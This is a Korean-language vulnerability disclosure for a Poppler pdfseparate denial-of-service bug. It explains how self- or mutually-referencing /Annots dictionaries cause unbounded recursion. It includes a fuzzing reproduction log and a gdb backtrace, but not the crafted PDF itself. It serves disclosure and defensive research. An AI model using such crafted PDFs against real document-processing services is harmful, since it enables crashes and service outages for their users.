CVE-2025-50420

Poppler 25.07.0 이전 버전에는 pdfseparate 유틸리티의 PDFDoc 처리 로직에 취약점이 존재합니다. 제작된 "/Annots" 사전이 자기 자신 또는 서로를 참조하면 "PDFDoc::markAnnotations --> PDFDoc::markPageObjects --> PDFDoc::markObject --> PDFDoc::markDictionary"에서 무한 재귀가 발생합니다. 루프 감지는 각 fetch()에서 사전 포인터 주소가 다르기 때문에 실패합니다. 원격 공격자는 악성 PDF를 처리하여 서비스 거부(애플리케이션 정지 또는 충돌)를 유발할 수 있습니다.

여기서 저는 악성 PDF(poppler-pdfseparate-poc)를 제작했으며, "/Annots"가 자기 참조 또는 상호 참조 사전으로 확인되도록 하여 Poppler의 markAnnotations --> markPageObjects --> markObject --> markDictionary 재귀가 루프를 감지하지 못하고 호출 스택을 고갈(무한 재귀)시키도록 합니다. 악용에는 PDF를 열거나 처리하는 것만으로 충분합니다(예: pdfseparate 사용).

재현 과정은 다음과 같습니다:```bash afl_env(base) user@ubuntu:~/zgd/AFLProject/pdf_parsers/poppler-25.04.0/build/utils$ ./pdfseparate ./../../../../pdf_fuzz/p oppler-master/pdfseparate/analyze_crashes/only_custom/all_crashes/poppler-pdfseparate-poc /dev/null Segmentation fault (core dumped)

afl_env(base) user@ubuntu:/zgd/AFLProject/pdf_parsers/poppler-25.04.0/build/utils$ gdb ./pdfseparate core.2332378 GNU gdb (Ubuntu 12.1-0ubuntu122.04.2) 12.1 Copyright (C) 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later http://gnu.org/licenses/gpl.html This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: https://www.gnu.org/software/gdb/bugs/. Find the GDB manual and other documentation resources online at: http://www.gnu.org/software/gdb/documentation/.

For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./pdfseparate... [New LWP 2332378] [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". --Type for more, q to quit, c to continue without paging-- Core was generated by `./pdfseparate ./../../../../pdf_fuzz/poppler-master/pdfseparate/analyze_crashes'. Program terminated with signal SIGSEGV, Segmentation fault. #0 0x00007a27410a3dee in _int_malloc (av=av@entry=0x7a274121ac80 <main_arena>, bytes=bytes@entry=40) at ./malloc/malloc.c:3903 3903 ./malloc/malloc.c: No such file or directory. (gdb) bt #0 0x00007a27410a3dee in _int_malloc (av=av@entry=0x7a274121ac80 <main_arena>, bytes=bytes@entry=40) at ./malloc/malloc.c:3903 #1 0x00007a27410a5262 in __GI___libc_malloc (bytes=40) at ./malloc/malloc.c:3321 #2 0x00007a27414ae98c in operator new(unsigned long) () from /lib/x86_64-linux-gnu/libstdc++.so.6 #3 0x00007a274192a080 in __gnu_cxx::new_allocator<std::_Rb_tree_node >::allocate (this=0x5c29c1b2a498, __n=1) at /usr/include/c++/11/ext/new_allocator.h:127 #4 0x00007a2741929c8f in std::allocator<std::_Rb_tree_node >::allocate (__n=1, this=0x5c29c1b2a498) at /usr/include/c++/11/bits/allocator.h:185 #5 std::allocator_traits<std::allocator<std::_Rb_tree_node > >::allocate (__a=..., __n=1) at /usr/include/c++/11/bits/alloc_traits.h:464 #6 0x00007a274192974f in std::_Rb_tree<int, int, std::_Identity, std::less, std::allocator >::_M_get_node (this=0x5c29c1b2a498) at /usr/include/c++/11/bits/stl_tree.h:561 #7 0x00007a2741973466 in std::_Rb_tree<int, int, std::_Identity, std::less, std::allocator >::_M_create_node<int const&> (this=0x5c29c1b2a498) at /usr/include/c++/11/bits/stl_tree.h:611 #8 0x00007a2741970c97 in std::_Rb_tree<int, int, std::_Identity, std::less, std::allocator >::_Alloc_node::operator()<int const&> (this=0x7ffeba55f200, __arg=@0x7ffeba55f2a0: 4) at /usr/include/c++/11/bits/stl_tree.h:529 #9 0x00007a274196ba22 in std::_Rb_tree<int, int, std::_Identity, std::less, std::allocator >::M_insert<int const&, std::_Rb_tree<int, int, std::_Identity, std::less, std::allocator >::_Alloc_node> ( this=0x5c29c1b2a498, __x=0x0, __p=0x5c29c1b2a4a0, __v=@0x7ffeba55f2a0: 4, __node_gen=...) at /usr/include/c++/11/bits/stl_tree.h:1784 #10 0x00007a2741963f5e in std::_Rb_tree<int, int, std::_Identity, std::less, std::allocator >::_M_insert_unique<int const&> (this=0x5c29c1b2a498, __v=@0x7ffeba55f2a0: 4) at /usr/include/c++/11/bits/stl_tree.h:2129 #11 0x00007a274195c4f6 in std::set<int, std::less, std::allocator >::insert (this=0x5c29c1b2a498, --Type for more, q to quit, c to continue without paging-- __x=@0x7ffeba55f2a0: 4) at /usr/include/c++/11/bits/stl_set.h:512 #12 0x00007a2741957c6d in RefRecursionChecker::insert (this=0x5c29c1b2a498, ref=...) at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/Object.h:133 #13 0x00007a2741b0e09c in XRef::fetch (this=0x5c29c1b2a370, num=4, gen=0, recursion=0, endPos=0x0) at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/XRef.cc:1202 #14 0x00007a2741b0dfb4 in XRef::fetch (this=0x5c29c1b2a370, ref=..., recursion=0) at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/XRef.cc:1190 #15 0x00007a2741a94e1d in Object::fetch (this=0x5c29c208a1c0, xref=0x5c29c1b2a370, recursion=0) at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/Object.cc:110 #16 0x00007a27419785d3 in Array::get (this=0x5c29c208a160, i=0, recursion=0) at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/Array.cc:92 #17 0x00007a2741ab0514 in PDFDoc::markAnnotations (this=0x5c29c1b2a0a0, annotsObj=0x7ffeba55f6b0, xRef=0x5c29c1b2b080, countRef=0x5c29c1b2b240, numOffset=0, oldPageNum=3, newPageNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0) at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1856 #18 0x00007a2741aaf6b3 in PDFDoc::markDictionary (this=0x5c29c1b2a0a0, dict=0x5c29c208a100, xRef=0x5c29c1b2b080, countRef=0x5c29c1b2b240, numOffset=0, oldRefNum=3, newRefNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0) at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1716 #19 0x00007a2741aaf8d8 in PDFDoc::markObject (this=0x5c29c1b2a0a0, obj=0x7ffeba55f800, xRef=0x5c29c1b2b080, countRef=0x5c29c1b2b240, numOffset=0, oldRefNum=3, newRefNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0) at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1744 #20 0x00007a2741ab03af in PDFDoc::markPageObjects (this=0x5c29c1b2a0a0, pageDict=0x5c29c208a0a0, xRef=0x5c29c1b2b080, countRef=0x5c29c1b2b240, numOffset=0, oldRefNum=3, newRefNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0) at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1840 --Type for more, q to quit, c to continue without paging-- #21 0x00007a2741ab0827 in PDFDoc::markAnnotations (this=0x5c29c1b2a0a0, annotsObj=0x7ffeba55f9a0, xRef=0x5c29c1b2b080, countRef=0x5c29c1b2b240, numOffset=0, oldPageNum=3, newPageNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0) at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1889 #22 0x00007a2741aaf6b3 in PDFDoc::markDictionary (this=0x5c29c1b2a0a0, dict=0x5c29c2089f10, xRef=0x5c29c1b2b080, countRef=0x5c29c1b2b240, numOffset=0, oldRefNum=3, newRefNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0) at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1716 #23 0x00007a2741aaf8d8 in PDFDoc::markObject (this=0x5c29c1b2a0a0, obj=0x7ffeba55faf0, xRef=0x5c29c1b2b080, countRef=0x5c29c1b2b240, numOffset=0, oldRefNum=3, newRefNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0) at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1744 #24 0x00007a2741ab03af in PDFDoc::markPageObjects (this=0x5c29c1b2a0a0, pageDict=0x5c29c2089eb0, xRef=0x5c29c1b2b080, countRef=0x5c29c1b2b240, numOffset=0, oldRefNum=3, newRefNum=259, alreadyMarkedDicts=0x5c29c1b2c9f0) at /home/user/zgd/AFLProject/pdf_parsers/poppler-25.04.0/poppler/PDFDoc.cc:1840